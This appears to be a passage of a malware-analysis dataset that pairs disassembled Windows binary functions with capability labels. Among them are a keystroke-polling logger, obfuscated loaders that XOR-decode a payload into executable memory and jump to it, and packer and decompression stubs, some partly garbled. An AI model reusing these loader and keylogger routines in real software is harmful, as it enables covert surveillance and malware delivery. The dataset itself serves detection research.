joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10ac400
Capabilities:
Encode data using xor

Disassembly:
lodsd eax, dword [esi]
jmp 0xb9218b10
lahf
xor dword [edx], 0xbf468b2f
out 0x87, al
jge 0x10ac3ab
inc ebx
stosb byte es:[edi], al
dec esi
leave
pop edi
daa
rcr byte [eax + 0x576b26a8], 0xa9
pop ecx
jmp 0x10ac40a
pushal
call 0x10ac410
pop ebp
sub ebp, 0x10
add byte [eax], al
sub ebp, 0xcac400
jmp 0x10ac426
mov eax, 0xcac400
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c9
mov edx, 0x8ee4198b
xor byte [eax], dl
inc eax
dec ecx
jne 0x10ac43d
jmp 0x10ac450
add byte [esi], al
add dh, byte [edi + 0xa8b8b8b]
dec edx
jae 0x10ac3e7
mov ecx, dword [ebx - 0x73ccb978]
mov ecx, dword [ebx - 0x745cce75]
mov ecx, dword [ebx + 0x4388697c]
add byte [edx], cl
xchg dword [ebx + 0x4e888b8b], ecx
fcmovnu st(0), st(3)
jecxz 0x10ac415
sti
test dword [ebx + 0x37d87be3], ecx
mov ecx, dword [edx + 0x35e3afa7]
mov al, 0x22
shl byte [ebx - 0x72], cl
mov ecx, dword [ebx - 0x745c9d75]
mov ecx, dword [ebx + 0xd6dfde]
push cs
or dword [ebx + 0x1e008b8b], 0xffffff87
mov ecx, dword [ebx - 0x64f9ff75]
mov ecx, dword [ebx - 0x769db575]
mov edx, 0x8f490889
ret 0xe84
Function at 0x40203a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402075
mov eax, 0xa175dc
jmp 0x402105
inc dword [ebp - 4]
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0xa175e4]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
call fcn.0040104a
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.00417d60
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4020c3
push ebx
call fcn.00416d62
add esp, 4
pop eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040211d
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
mov eax, dword [ebp - 8]
test eax, eax
je 0x402100
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00416d68
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402105
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402116
push ebx
call fcn.00416d62
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x402e41
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x80000006
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00418310
add esp, 0x10
mov dword [ebp - 4], eax
push dword [ebp + 0x14]
call fcn.00402e9c
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
push 0
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
jmp 0x402e96
mov esp, ebp
pop ebp
ret 0x14

Function at 0x402eb6
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x24
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402ee9
and dword [0xab08ed], 1
xor dword [0xab08ed], 1
mov eax, 0xa175fe
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00402fd8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402f0d
push ebx
call fcn.00416d62
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.004032c9
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402f35
push ebx
call fcn.00416d62
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x402f56
push 1
push dword [0xab08d1]
call fcn.004036ef
push 0
call fcn.00416d50
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0
push 0x12c
call fcn.00401927
jmp 0x402ebf
Function at 0x4036ef
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0
jne 0x403722
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
mov dword [ebp - 4], eax
jmp 0x40373c
push dword [ebp + 8]
push 0
push 1
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403750
mov eax, 0
jmp 0x40377a
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
mov dword [ebp - 8], eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
mov eax, dword [ebp - 8]
jmp 0x40377a
mov esp, ebp
pop ebp
ret 8
Function at 0x415193
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00415343
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x415291
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x415234
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x415277
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x41524b
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x415266
test al, 0x40
je 0x41525d
mov ecx, dword [edi + 0x20]
jmp 0x415264
test al, 0x80
je 0x415277
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x415277
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x415203
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x415a60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
pop ebp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
ret
Function at 0x417760
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4177f2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x4177e4
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4177dc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4177a5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x418660
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x41867e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x418673
pop esi
ret

Function at 0x42aa05
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42aa33
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42aa51
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042a96b
jmp 0x42aa51
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42aa51
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042a96b
test edi, edi
mov eax, edi
jne 0x42aa3b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..idata
nop
mov ebx, 0x40915c
nop
mov ecx, 0x2aca3aeb
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x42983666
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x403302
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, edx
mov edi, 0x104
push ecx
mov edx, edi
lea ecx, [ebp - 0x20c]
call fcn.00402d00
mov ecx, eax
test ecx, ecx
js 0x403388
push ebx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.api_ms_win_core_shlwapi_legacy_l1_1_0.dll_PathUnquoteSpacesW]
lea eax, [ebp - 0x414]
push eax
push edi
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCurrentDirectoryW]
mov ecx, eax
mov edi, 0x7fffbffb
neg ecx
mov ebx, 0x80004005
sbb ecx, ecx
and ecx, edi
add ecx, ebx
test eax, eax
je 0x403387
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.api_ms_win_core_shlwapi_legacy_l1_1_0.dll_PathCombineW]
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edi
add ecx, ebx
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004045c0
leave
ret

Function at 0x403398
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00404c00
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
test esi, esi
je 0x40345a
push 0xfffffffffffffff5
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetStdHandle]
mov ecx, dword [0x40500c]
cmp ecx, eax
jne 0x40341c
push 0x3f
pop eax
push ebx
mov word [ebp - 0x1008], ax
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push edi
push esi
push 0x640
push ebx
call dword [sym.imp.api_ms_win_core_string_l1_1_0.dll_WideCharToMultiByte]
test eax, eax
je 0x40345a
push ebx
lea ecx, [ebp - 0x100c]
push ecx
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [0x40500c]
jmp 0x40342a
push ebx
lea eax, [ebp - 0x100c]
push eax
lea eax, [edi + edi]
push eax
push esi
push ecx
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_WriteFile]
test eax, eax
jne 0x40345a
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
test eax, eax
jle 0x403448
movzx eax, ax
or eax, 0x80070000
test eax, eax
jns 0x40345a
push eax
push 0x401d00
call dword [sym.imp.msvcrt.dll_wprintf]
pop ecx
pop ecx
jmp 0x40347e
cmp dword [ebp + 8], ebx
je 0x40347e
mov ecx, 0x405360
mov edx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x403469
sub edx, esi
sar edx, 1
push ebx
call fcn.00403398
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045c0
leave
ret 4
Function at 0x4045a0
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x404d70
call fcn.00404af8
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x405370
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4043c8
cmp eax, esi
jne 0x4043bb
xor esi, esi
inc esi
mov edi, esi
jmp 0x4043cb
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x40439f
xor esi, esi
inc esi
cmp dword [0x405374], esi
jne 0x4043dd
push 0x1f
call fcn.00495000
pop ecx
jmp 0x404417
cmp dword [0x405374], ebx
jne 0x404411
mov dword [0x405374], esi
push 0x4010cc
push 0x4010c0
call fcn.004044fc
pop ecx
pop ecx
test eax, eax
je 0x404417
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4044ec
mov dword [0x405014], esi
cmp dword [0x405374], esi
jne 0x40443a
push 0x4010bc
push 0x4010b4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x405374], 2
test edi, edi
jne 0x404447
xor eax, eax
mov ecx, 0x405370
xchg dword [ecx], eax
cmp dword [0x405378], 0
je 0x404473
push 0x405378
call fcn.00404950
pop ecx
test eax, eax
je 0x404473
push ebx
push 2
push ebx
mov esi, dword [0x405378]
mov ecx, esi
call dword [0x406110]
call esi
push dword [0x405020]
push dword [0x40501c]
push dword [0x405018]
call fcn.00403f7e
add esp, 0xc
mov dword [0x405010], eax
cmp dword [0x405028], 0
jne 0x4044d1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x405014], 0
jne 0x4044e5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x405010]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00404a45
jmp 0x404383

Function at 0x404834
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x404d90
call fcn.00404af8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x404894
cmp eax, 0xffffffff
je 0x404894
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40488d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40488d
cmp edx, 0x10000000
jae 0x40488d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40488a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x404900
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40493e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x404936
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x404940
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x404926
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x404a10
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x404a41
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x404a41
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x404a41
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x714520
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x1f5000]
lea eax, [edi + 0x2f0e38]
push dword [eax]
mov dword [eax], 0xd5dcdbce
push eax
push edi
or ebp, 0xffffffff
jmp 0x714552
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x714559
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x714548
mov eax, 1
add ebx, ebx
jne 0x71456b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x71457c
jne 0x71459b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x71459b
dec eax
add ebx, ebx
jne 0x714588
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x714560
add ebx, ebx
jne 0x714597
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7145ed
xor ecx, ecx
sub eax, 3
jb 0x7145b3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x714622
sar eax, 1
mov ebp, eax
jmp 0x7145be
add ebx, ebx
jne 0x7145be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x71458c
inc ecx
add ebx, ebx
jne 0x7145cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x71458c
add ebx, ebx
jne 0x7145d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7145ce
jne 0x7145ea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7145ce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x71460c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7145fe
jmp 0x71454e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x71460c
add edi, ecx
jmp 0x71454e
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x10aec
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x71462e
cmp byte [edi], 0x22
jne 0x71462e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x714633
lea edi, [esi + 0x307000]
mov eax, dword [edi]
or eax, eax
je 0x7146ab
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3141e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3143c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x714660
mov ecx, edi
jns 0x71468f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3143c8]
or eax, eax
je 0x7146a5
mov dword [ebx], eax
add ebx, 4
jmp 0x71467d
call dword [esi + 0x3143c4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7146dc
cmp al, 0xef
ja 0x7146cf
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7146b1
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7146be
mov ebp, dword [esi + 0x3143cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x714710
sub esp, 0xffffff80
jmp 0x5cb090
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40596d
pop dword [ebp - 0x38]
mov eax, 0xb960e45b
sub eax, 0xb9208aee
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xa6d1a746
add dword [ebp - 0x48], 0xa7809e05
mov dword [ebp - 0x44], 0x7c5b816c
sub dword [ebp - 0x44], 0x4a283527
mov dword [ebp - 0x40], 0xfb0bc844
sub dword [ebp - 0x40], 0xaebf8416
mov dword [ebp - 0x3c], 0x632d1ef9
sub dword [ebp - 0x3c], 0x632d1ef9
lea eax, [ebp - 0x48]
push eax
mov eax, 0xec48b3cf
sub eax, 0xec08436f
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x1189d7af
sub dword [ebp - 0x48], 0x9d176e59
mov dword [ebp - 0x44], 0xfaedfc74
sub dword [ebp - 0x44], 0xb9819aff
mov dword [ebp - 0x40], 0x7e7116bd
add dword [ebp - 0x40], 0xe4fe55af
mov dword [ebp - 0x3c], 0x85066a6c
sub dword [ebp - 0x3c], 0x85066a6c
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc2cff1e3
add eax, 0x3d707f1d
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x32917
push 0
call eax
mov ecx, 0xf32e801d
add ecx, 0xcd1b74b
xor edi, edi
add edi, eax
mov esi, 0xd179b818
add esi, 0x2ec747e8
add esi, dword [ebp - 0x38]
mov ebx, 0xf67cff4a
add ebx, 0xec1d5d1f
sub dword [ebp - 0x20], 0x1e6803b9
mov edx, dword [esi]
mov dword [ebp - 0x24], 0x8906d82a
xor edx, ebx
sub dword [ebp - 0x20], 0xa04eb60d
mov dword [edi], edx
add dword [ebp - 0x14], edx
add edi, 4
add esi, 0xd38411d1
sub esi, 0xd38411cd
loop 0x405a91
add eax, 0xd073
xor ebx, ebx
add ebx, eax
add eax, 0x5fda50bf
sub eax, 0x5fda50ba
mov ecx, 0x6fcd5572
sub ecx, 0x6f8d5572
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40560d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40561c
pop dword [ebp - 0x18]
mov eax, 0x69d00e5f
sub eax, 0x698fb843
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xc57768db
sub dword [ebp - 0x28], 0x77252390
mov dword [ebp - 0x24], 0x26a44979
add dword [ebp - 0x24], 0xb8f02cc
mov dword [ebp - 0x20], 0x1fde6d6d
add dword [ebp - 0x20], 0x2c6dd6c1
mov dword [ebp - 0x1c], 0x42d6805e
add dword [ebp - 0x1c], 0xbd297fa2
lea eax, [ebp - 0x28]
push eax
mov eax, 0xdb845ae7
sub eax, 0xdb438a93
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xf6389315
sub dword [ebp - 0x28], 0x81c629bf
mov dword [ebp - 0x24], 0x9f4f60b2
sub dword [ebp - 0x24], 0x5de2ff3d
mov dword [ebp - 0x20], 0x747e0be3
sub dword [ebp - 0x20], 0x110e9f77
mov dword [ebp - 0x1c], 0x39d729aa
add dword [ebp - 0x1c], 0xc628d656
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3a2e3
push 0
call eax
mov ecx, 0x6c861c66
add ecx, 0x937a2e3f
xor edx, edx
add edx, eax
mov esi, 0x7a889bf0
sub esi, 0x7a46ebf0
add esi, dword [ebp - 0x18]
mov ebx, 0x1e088f7b
add ebx, 0x9e7e9f46
xor dword [ebp - 8], edi
mov edi, dword [esi]
sub dword [ebp - 8], 0x612d1af8
sub edi, ebx
xor dword [ebp - 0x14], 0xb019d4f
mov dword [edx], edi
add edx, 0x7c15f4f8
add edx, 0x83ea0b0c
add esi, 0x81f8e2f7
sub esi, 0x81f8e2f3
loop 0x40573b
add eax, 0x9823d977
add eax, 0x67dd43f0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc4e5294f
sub ecx, 0xc4a5294f
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x17cc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.017cc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x17cc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x17cc06a
add dl, dl
jne 0x17cc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x17cc0dc
xor eax, eax
add dl, dl
jne 0x17cc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x17cc17d
add dl, dl
jne 0x17cc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17cc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17cc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17cc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x17cc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x17cc075
mov eax, 1
add dl, dl
jne 0x17cc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x17cc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x17cc0e1
sub eax, ebx
mov ebx, 1
jne 0x17cc128
mov ecx, 1
add dl, dl
jne 0x17cc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x17cc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x17cc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x17cc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x17cc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x17cc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x17cc136
cmp eax, 0x7d00
jae 0x17cc16d
cmp eax, 0x500
jb 0x17cc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x17cc075
cmp eax, 0x7f
ja 0x17cc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x17cc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
